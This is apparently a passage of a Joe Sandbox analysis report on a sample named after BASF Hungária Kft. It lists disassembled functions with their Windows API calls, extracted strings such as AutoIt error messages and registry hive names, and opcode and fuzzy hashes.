                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: LoadString__swprintf_wprintf$_memmove
                                                              • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                              • API String ID: 311963372-3080491070
                                                              • Opcode ID: dc091956c663a536dd917a4e1ff4710bc6558cd79b501b28f27923629451208c
                                                              • Instruction ID: 192627319e0b217f5d6d9a8979f97e6d3dc2c4dd1eb6071834aea30a531663f6
                                                              • Opcode Fuzzy Hash: dc091956c663a536dd917a4e1ff4710bc6558cd79b501b28f27923629451208c
                                                              • Instruction Fuzzy Hash: 455198B1901509EAEF18EBE4DD4AEEEB778AF14300F504169F505720A2EB3D2F59CB61
                                                              Function 0079A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • CharLowerBuffW.USER32(?,?), ref: 0079A3CB
                                                              • GetDriveTypeW.KERNEL32 ref: 0079A418
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0079A460
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0079A497
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0079A4C5
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                                              • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                              • API String ID: 2698844021-4113822522
                                                              • Opcode ID: a1d38324bc9c9ea80352490bac60875685556d7a2e98308090da4099c97787ef
                                                              • Instruction ID: 6bb4329f7ae1ec9a957c07a9bee6b45daaefb65a9dfd31dca64c19fe7817e4bb
                                                              • Opcode Fuzzy Hash: a1d38324bc9c9ea80352490bac60875685556d7a2e98308090da4099c97787ef
                                                              • Instruction Fuzzy Hash: 8C518CB1104345DFD744EF25C88596AB3F8EF88718F00886CF88A57262DB79ED09CB82
                                                              Function 0078F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0076E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0078F8DF
                                                              • LoadStringW.USER32(00000000,?,0076E029,00000001), ref: 0078F8E8
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,0076E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0078F90A
                                                              • LoadStringW.USER32(00000000,?,0076E029,00000001), ref: 0078F90D
                                                              • __swprintf.LIBCMT ref: 0078F95D
                                                              • __swprintf.LIBCMT ref: 0078F96E
                                                              • _wprintf.LIBCMT ref: 0078FA17
                                                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0078FA2E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
                                                              • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                              • API String ID: 984253442-2268648507
                                                              • Opcode ID: 34b69329e407bf7d6248e86be8a26d0cc36269c8a07e70390b9113e95e89226e
                                                              • Instruction ID: 71426e728e1eec44087ef4552f783d03c557cab803214cf3be6176882e6390a0
                                                              • Opcode Fuzzy Hash: 34b69329e407bf7d6248e86be8a26d0cc36269c8a07e70390b9113e95e89226e
                                                              • Instruction Fuzzy Hash: 2A4120B290410DEADB19FBE0DD4AEEEB778AF18310F504465F505B6092EA396F09CB61
                                                              Function 007BBA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 007BBA56
                                                              • GetFileSize.KERNEL32(00000000,00000000), ref: 007BBA6D
                                                              • GlobalAlloc.KERNEL32(00000002,00000000), ref: 007BBA78
                                                              • CloseHandle.KERNEL32(00000000), ref: 007BBA85
                                                              • GlobalLock.KERNEL32(00000000), ref: 007BBA8E
                                                              • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 007BBA9D
                                                              • GlobalUnlock.KERNEL32(00000000), ref: 007BBAA6
                                                              • CloseHandle.KERNEL32(00000000), ref: 007BBAAD
                                                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 007BBABE
                                                              • OleLoadPicture.OLEAUT32(?,00000000,00000000,007C2CAC,?), ref: 007BBAD7
                                                              • GlobalFree.KERNEL32(00000000), ref: 007BBAE7
                                                              • GetObjectW.GDI32(?,00000018,000000FF), ref: 007BBB0B
                                                              • CopyImage.USER32(?,00000000,?,?,00002000), ref: 007BBB36
                                                              • DeleteObject.GDI32(00000000), ref: 007BBB5E
                                                              • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 007BBB74
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                              • String ID:
                                                              • API String ID: 3840717409-0
                                                              • Opcode ID: 1f3ce5ed4f43b702eae3e9b05a448a423b3a43655e293143d0738c8705336230
                                                              • Instruction ID: 2d50cb3272c7d77e53fdc750fb12fb22135ba935d69ade83365ca9df02acf432
                                                              • Opcode Fuzzy Hash: 1f3ce5ed4f43b702eae3e9b05a448a423b3a43655e293143d0738c8705336230
                                                              • Instruction Fuzzy Hash: 56410775600208EFDB119F69DC88FABBBB8FB89B11F108169F906D7260D7789D01CB64
                                                              Function 0079D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __wsplitpath.LIBCMT ref: 0079DA10
                                                              • _wcscat.LIBCMT ref: 0079DA28
                                                              • _wcscat.LIBCMT ref: 0079DA3A
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0079DA4F
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0079DA63
                                                              • GetFileAttributesW.KERNEL32(?), ref: 0079DA7B
                                                              • SetFileAttributesW.KERNEL32(?,00000000), ref: 0079DA95
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0079DAA7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                              • String ID: *.*
                                                              • API String ID: 34673085-438819550
                                                              • Opcode ID: 0d6d8c88a57d9f1ef58d4fed549335093311797832a7d791c93f8815746d1b0d
                                                              • Instruction ID: db0667e72addc43e5c88c3df2e012a2386b5c0d00254b955404f9666393deb09
                                                              • Opcode Fuzzy Hash: 0d6d8c88a57d9f1ef58d4fed549335093311797832a7d791c93f8815746d1b0d
                                                              • Instruction Fuzzy Hash: C7819FB15043419FCF34EF64D845AAAB7E8EF99320F14882AF889D7251E638ED45CB52
                                                              Function 007BC1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 007BC1FC
                                                              • GetFocus.USER32 ref: 007BC20C
                                                              • GetDlgCtrlID.USER32(00000000), ref: 007BC217
                                                              • _memset.LIBCMT ref: 007BC342
                                                              • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 007BC36D
                                                              • GetMenuItemCount.USER32(?), ref: 007BC38D
                                                              • GetMenuItemID.USER32(?,00000000), ref: 007BC3A0
                                                              • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 007BC3D4
                                                              • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 007BC41C
                                                              • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 007BC454
                                                              • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 007BC489
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                              • String ID: 0
                                                              • API String ID: 1296962147-4108050209
                                                              • Opcode ID: fb0429d49a0643bf14725a5708edd36d5daa0f1dba2ce91b11f5f87ea161ac29
                                                              • Instruction ID: 2f725f828ad088dcd3186c2d959beb3cd3cb25ce6944a3434f71af6a5ec5012b
                                                              • Opcode Fuzzy Hash: fb0429d49a0643bf14725a5708edd36d5daa0f1dba2ce91b11f5f87ea161ac29
                                                              • Instruction Fuzzy Hash: 8B815C70608341AFD711DF14C898BAABBE8FF88754F00892EFA9597291D778D905CB62
                                                              Function 007A731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDC.USER32(00000000), ref: 007A738F
                                                              • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 007A739B
                                                              • CreateCompatibleDC.GDI32(?), ref: 007A73A7
                                                              • SelectObject.GDI32(00000000,?), ref: 007A73B4
                                                              • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 007A7408
                                                              • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 007A7444
                                                              • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 007A7468
                                                              • SelectObject.GDI32(00000006,?), ref: 007A7470
                                                              • DeleteObject.GDI32(?), ref: 007A7479
                                                              • DeleteDC.GDI32(00000006), ref: 007A7480
                                                              • ReleaseDC.USER32(00000000,?), ref: 007A748B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                              • String ID: (
                                                              • API String ID: 2598888154-3887548279
                                                              • Opcode ID: 94547f4c1b7c4831635c02b20532c9de197e9a28ae470d6cefc88f79e412af18
                                                              • Instruction ID: 06c1d45e8ad6858d460d9a566325fabaa051fc563e66727e92865f55f48a1cb7
                                                              • Opcode Fuzzy Hash: 94547f4c1b7c4831635c02b20532c9de197e9a28ae470d6cefc88f79e412af18
                                                              • Instruction Fuzzy Hash: 86516A71904309EFCB14CFA8CC85EAEBBB9EF89710F14862DF99997221C775A840CB50
                                                              Function 00736A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00750957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00736B0C,?,00008000), ref: 00750973
                                                                • Part of subcall function 00734750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00734743,?,?,007337AE,?), ref: 00734770
                                                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00736BAD
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00736CFA
                                                                • Part of subcall function 0073586D: _wcscpy.LIBCMT ref: 007358A5
                                                                • Part of subcall function 0075363D: _iswctype.LIBCMT ref: 00753645
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                                              • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                              • API String ID: 537147316-1018226102
                                                              • Opcode ID: cacb4a39a434eeb67291f5366a1f48bb65c1dc512f301b2760d22fe63d9bad7a
                                                              • Instruction ID: f24d345859e09286ee50d8b2f3f7f0c8405f4b9705a0b933c64a4261eda1fbf2
                                                              • Opcode Fuzzy Hash: cacb4a39a434eeb67291f5366a1f48bb65c1dc512f301b2760d22fe63d9bad7a
                                                              • Instruction Fuzzy Hash: 0C029D74108341DFD724EF24C885AAFBBE5EF99314F10491DF886972A2DB38E949CB52
                                                              Function 00792D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00792D50
                                                              • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00792DDD
                                                              • GetMenuItemCount.USER32(007F5890), ref: 00792E66
                                                              • DeleteMenu.USER32(007F5890,00000005,00000000,000000F5,?,?), ref: 00792EF6
                                                              • DeleteMenu.USER32(007F5890,00000004,00000000), ref: 00792EFE
                                                              • DeleteMenu.USER32(007F5890,00000006,00000000), ref: 00792F06
                                                              • DeleteMenu.USER32(007F5890,00000003,00000000), ref: 00792F0E
                                                              • GetMenuItemCount.USER32(007F5890), ref: 00792F16
                                                              • SetMenuItemInfoW.USER32(007F5890,00000004,00000000,00000030), ref: 00792F4C
                                                              • GetCursorPos.USER32(?), ref: 00792F56
                                                              • SetForegroundWindow.USER32(00000000), ref: 00792F5F
                                                              • TrackPopupMenuEx.USER32(007F5890,00000000,?,00000000,00000000,00000000), ref: 00792F72
                                                              • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00792F7E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                              • String ID:
                                                              • API String ID: 3993528054-0
                                                              • Opcode ID: cd3bdccfc49dfde73cf81c3a841c10daad7437cc48b7eae93fc2714a89d51881
                                                              • Instruction ID: 095629983f9607dcf9f8116975519dbeb9f658cc976bf2152cd8ef53e0e3aac0
                                                              • Opcode Fuzzy Hash: cd3bdccfc49dfde73cf81c3a841c10daad7437cc48b7eae93fc2714a89d51881
                                                              • Instruction Fuzzy Hash: DC71F670640205BFEF21AF54EC89FAABF65FF04724F104216F625A61E2C7B96C21DB94
                                                              Function 007A88AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 007A88D7
                                                              • CoInitialize.OLE32(00000000), ref: 007A8904
                                                              • CoUninitialize.OLE32 ref: 007A890E
                                                              • GetRunningObjectTable.OLE32(00000000,?), ref: 007A8A0E
                                                              • SetErrorMode.KERNEL32(00000001,00000029), ref: 007A8B3B
                                                              • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,007C2C0C), ref: 007A8B6F
                                                              • CoGetObject.OLE32(?,00000000,007C2C0C,?), ref: 007A8B92
                                                              • SetErrorMode.KERNEL32(00000000), ref: 007A8BA5
                                                              • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 007A8C25
                                                              • VariantClear.OLEAUT32(?), ref: 007A8C35
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                              • String ID: ,,|
                                                              • API String ID: 2395222682-2928947247
                                                              • Opcode ID: 5213ad74a5fdd4ace71019cc722dba93009c355ddbbe4c6a9cd7f43ee12aa9ca
                                                              • Instruction ID: 5c1a53cfb9c1520ba0e72941183d024cb92a7ed4a65879ec9cc68be77e8d374c
                                                              • Opcode Fuzzy Hash: 5213ad74a5fdd4ace71019cc722dba93009c355ddbbe4c6a9cd7f43ee12aa9ca
                                                              • Instruction Fuzzy Hash: 7FC124B1608305AFD740DF28C88492BB7E9FF89748F004A5DF98A9B251DB75ED05CB62
                                                              Function 007877DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              • _memset.LIBCMT ref: 0078786B
                                                              • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 007878A0
                                                              • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 007878BC
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 007878D8
                                                              • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00787902
                                                              • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0078792A
                                                              • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00787935
                                                              • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0078793A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
                                                              • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                              • API String ID: 1411258926-22481851
                                                              • Opcode ID: d7070198c70ccc9678eb6cee4e8acb6dc30efd74719d16d049c1aff2cddc7ff7
                                                              • Instruction ID: 857c1359f855f2ffc73eedb0dbe7d9f08ed2afd14fbd56f1b2c54d0331730564
                                                              • Opcode Fuzzy Hash: d7070198c70ccc9678eb6cee4e8acb6dc30efd74719d16d049c1aff2cddc7ff7
                                                              • Instruction Fuzzy Hash: B1410BB2C14229EBDF25EBA4DC59DEDB778FF04710F404529F805A3162EA389D04CB90
                                                              Function 007B0E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?,?,?,?,?,?,007AFDAD,?,?), ref: 007B0E31
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharUpper
                                                              • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                              • API String ID: 3964851224-909552448
                                                              • Opcode ID: d8ba491218e98b0c6186dcb3879557e806a94f5bab21fd5bbe22a29b24bfb9b4
                                                              • Instruction ID: f1af55683cb22bce433311e2f6c02eb566a3788c92ab36d4916c709d6da95253
                                                              • Opcode Fuzzy Hash: d8ba491218e98b0c6186dcb3879557e806a94f5bab21fd5bbe22a29b24bfb9b4
                                                              • Instruction Fuzzy Hash: 2941167220028ACFDF20EE10D859AFF3764AF16304F144468FC555B292DB7CA91ACBA0
                                                              Function 0078F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0076E2A0,00000010,?,Bad directive syntax error,007BF910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0078F7C2
                                                              • LoadStringW.USER32(00000000,?,0076E2A0,00000010), ref: 0078F7C9
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              • _wprintf.LIBCMT ref: 0078F7FC
                                                              • __swprintf.LIBCMT ref: 0078F81E
                                                              • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0078F88D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
                                                              • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                              • API String ID: 1506413516-4153970271
                                                              • Opcode ID: 7124aa5391b03da96cb5a24c9d27d76ae994d16728126170fb25cba0868e1930
                                                              • Instruction ID: 17876ea0817d87883e31a2dac73d285f7e023f28af5c4dbc0ace3b535947c5b6
